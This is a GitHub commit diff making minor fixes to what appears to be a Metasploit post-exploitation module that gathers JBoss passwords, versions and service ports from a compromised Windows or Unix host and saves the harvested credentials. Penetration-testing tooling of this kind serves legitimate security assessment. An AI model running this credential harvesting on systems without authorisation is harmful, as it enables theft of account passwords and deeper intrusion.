Skip to content

Commit 55ab800

Browse files
author
Koen Riepe
committed
Minor code fixes.
1 parent 9f289bd commit 55ab800

File tree

1 file changed

+34
-26
lines changed

1 file changed

+34
-26
lines changed

modules/post/multi/gather/jboss_gather.rb

Lines changed: 34 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def report_creds(user, pass, port)
3030
private_type: :password,
3131
session_id: session_db_id,
3232
username: user,
33-
workspace_id: myworkspace_id,
33+
workspace_id: myworkspace_id
3434
}
3535

3636
credential_core = create_credential(credential_data)
@@ -56,9 +56,10 @@ def getpw(file, ports)
5656
i = 0
5757
file.each do |pwfile|
5858
begin
59+
print_status("Getting passwords from: #{pwfile}")
5960
lines = read_file(pwfile).split("\n")
6061
rescue
61-
print_error("Cannot open #{pwfile}, you probably don't have permissions to open the file.")
62+
print_error("Cannot open #{pwfile}, you probably do not have permissions to open the file.")
6263
next
6364
end
6465
for line in lines
@@ -82,7 +83,7 @@ def getversion(array)
8283
begin
8384
file = read_file(array[i])
8485
rescue
85-
print_error("Cannot open #{array[i]}, you probably don't have permissions to open the file.")
86+
print_error("Cannot open #{array[i]}, you probably do not have permissions to open the file.")
8687
next
8788
end
8889
xml_doc = Nokogiri::XML(file)
@@ -161,36 +162,40 @@ def getports(version)
161162
begin
162163
file1_read = read_file(file1).split("\n")
163164
rescue
164-
print_error("Cannot open #{file1}, you probably don't have permissions to open the file.")
165+
print_error("Cannot open #{file1}, you probably do not have permissions to open the file.")
165166
next
166167
end
167168
parse = false
168169
portfound = false
169170
file1_read.each do |line|
170-
if line.strip.include? 'deploy/httpha-invoker.sar'
171-
parse = true
172-
elsif (line.strip == '</bean>' and portfound)
173-
parse = false
174-
elsif parse and line.include? '<property name="port">'
175-
port.push(line.split('<property name="port">')[1].split('<')[0].to_i)
176-
portfound = true
171+
if line.strip.include? 'deploy/httpha-invoker.sar'
172+
parse = true
173+
elsif (line.strip == '</bean>' and portfound)
174+
parse = false
175+
elsif parse and line.include? '<property name="port">'
176+
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
177+
port.push(portnr)
178+
portfound = true
179+
print_good("Jboss port found: #{portnr}")
180+
end
177181
end
178182
end
179183
end
180-
end
181184

182185
type2.each do |file2|
183186
if file2 and file2.include? version
184187
print_status("Attempting to extract Jboss service ports from: #{file2}")
185188
begin
186189
xml2 = Nokogiri::XML(read_file(file2))
187190
rescue
188-
print_error("Cannot open #{file2}, you probably don't have permissions to open the file.")
191+
print_error("Cannot open #{file2}, you probably do not have permissions to open the file.")
189192
next
190193
end
191194
xml2.xpath("//Server//Connector").each do |connector|
192195
if connector['protocol'].include? "HTTP"
193-
port.push(connector['port'].to_i)
196+
portnr = connector['port'].to_i
197+
port.push(portnr)
198+
print_good("Jboss port found: #{portnr}")
194199
break
195200
end
196201
end
@@ -225,16 +230,16 @@ def wingetinstances(home, version)
225230
instances = []
226231
instance_location = "#{home}\\server"
227232
exec = cmd_exec("cmd /c dir #{instance_location}").split("\n")
228-
exec.each do |instance|
229-
if instance.split("<DIR>")[1]
230-
if (not instance.split("<DIR>")[1].strip.include? ".") and (not instance.split("<DIR>")[1].strip.include? "..")
231-
instance_path = "#{home}\\server\\#{(instance.split('<DIR>')[1].strip)}"
232-
if instance_path.include? version
233-
instances.push(instance_path)
234-
end
233+
exec.each do |instance|
234+
if instance.split("<DIR>")[1]
235+
if (not instance.split("<DIR>")[1].strip.include? ".") and (not instance.split("<DIR>")[1].strip.include? "..")
236+
instance_path = "#{home}\\server\\#{(instance.split('<DIR>')[1].strip)}"
237+
if instance_path.include? version
238+
instances.push(instance_path)
235239
end
236240
end
237241
end
242+
end
238243
return instances
239244
end
240245

@@ -273,25 +278,28 @@ def wingetport(instances)
273278
elsif (line.strip == '</bean>' and portfound)
274279
parse = false
275280
elsif parse and line.include? '<property name="port">'
276-
port.push(line.split('<property name="port">')[1].split('<')[0].to_i)
281+
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
282+
port.push(portnr)
277283
portfound = true
284+
print_good("Jboss port found: #{portnr}")
278285
end
279286
end
280287
end
281288

282289
if file2
283290
print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
284-
xml2 = Nokogiri::XML(file2)
291+
xml2 = Nokogiri::XML(file2)
285292
xml2.xpath("//Server//Connector").each do |connector|
286293
if connector['protocol'].include? "HTTP"
287-
print_status(connector['port'])
288-
port.push(connector['port'].to_i)
294+
portnr = connector['port'].to_i
295+
port.push(portnr)
296+
print_good("Jboss port found: #{portnr}")
289297
break
290298
end
291299
end
292300
end
293301
end
294-
return port
302+
return port
295303
end
296304

297305
def gatherwin

0 commit comments

Comments
 (0)